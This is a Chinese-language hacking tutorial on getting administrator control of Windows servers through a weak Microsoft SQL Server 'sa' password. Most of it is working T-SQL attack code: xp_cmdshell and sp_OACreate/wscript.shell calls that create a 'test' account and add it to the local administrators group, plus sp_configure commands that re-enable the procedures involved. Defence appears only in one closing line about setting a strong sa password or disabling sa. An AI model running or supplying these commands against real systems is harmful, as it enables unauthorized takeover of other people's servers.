利用SA弱口令入侵windows,其核心内容就是利用Microsoft SQLServer中的存储过程获得系统管理员权限。
MSSQL中存储过程分为三种,系统提供的存储过程,用户自定义的存储过程和扩展存储过程。
系统提供的存储过程是在安装SQLServer时创建的存储过程,名字以"sp_"开头。用户定义的存储过程是用SQLServer的使用者编写的存储过程。扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,与一般动态链接库不同的是它们直接运行在SQLServer分配的内存地址内,其中危险性最高的扩展存储过程就xp_cmdshell了,它可以执行操作系统的任何指令。
SA是Microsoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。如:
- USE master
- GO
- exec xp_cmdshell 'net user test /add' --添加用户名为test的受限用户
- exec xp_cmdshell 'net localgroup administrators test /add' --提升test的用户权限为系统管理员
- exec xp_cmdshell 'net user test /del' --删除test用户
现在你应该明白为什么得到SA密码,就可以得到系统的最 高权限了吧。
下面就详细讲解下MSSQL利用SA弱口令的攻击和防范。
除了'xp_cmdshell'还有别的攻击方法么?当然有,在MSSQL中有一系列与OLE相关的存储过程,这一系列的存储过程同xp_cmdshell以及读取注册表系列的存储过程一样危险。这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop。
- DECLARE @shell INT --添加用户名为test的用户 如果目标操作系统为XP的话将winnt改为windows
- EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null,'c:/windows/system32/cmd.exe /c net user test 123 /add'
- DECLARE @shell INT --提升test的用户权限为系统管理员
- EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:/windows/system32/cmd.exe /c net localgroup administrators test /add'
先写这两种吧,呵呵估计心急的已经去测试了```但是似乎忘了告诉你,MSSQL在安装时xp_cmdshell 和ole相关的存储过程默认都是关闭的```。
- exec sp_configure 'show advanced options',1 --开启 show advanced options 1开启 0关闭
- RECONFIGURE
- GO
- --执行完语句后,RECONFIGURE是必须的···
- EXEC sp_configure 'xp_cmdshell', 1 --启用1 xp_cmdshell 0 禁用
- RECONFIGURE
- GO
- EXEC sp_configure 'Ole Automation Procedures', 1 --启用1 OLE相关的系统存储过程 0 禁用
- RECONFIGURE
- GO
- --ok,自己的测试完了不要忘记关掉,顺便给SA设个强大的密码,最好是把SA直接禁用,知道怎么进攻了,就应该知道如何防守,哈哈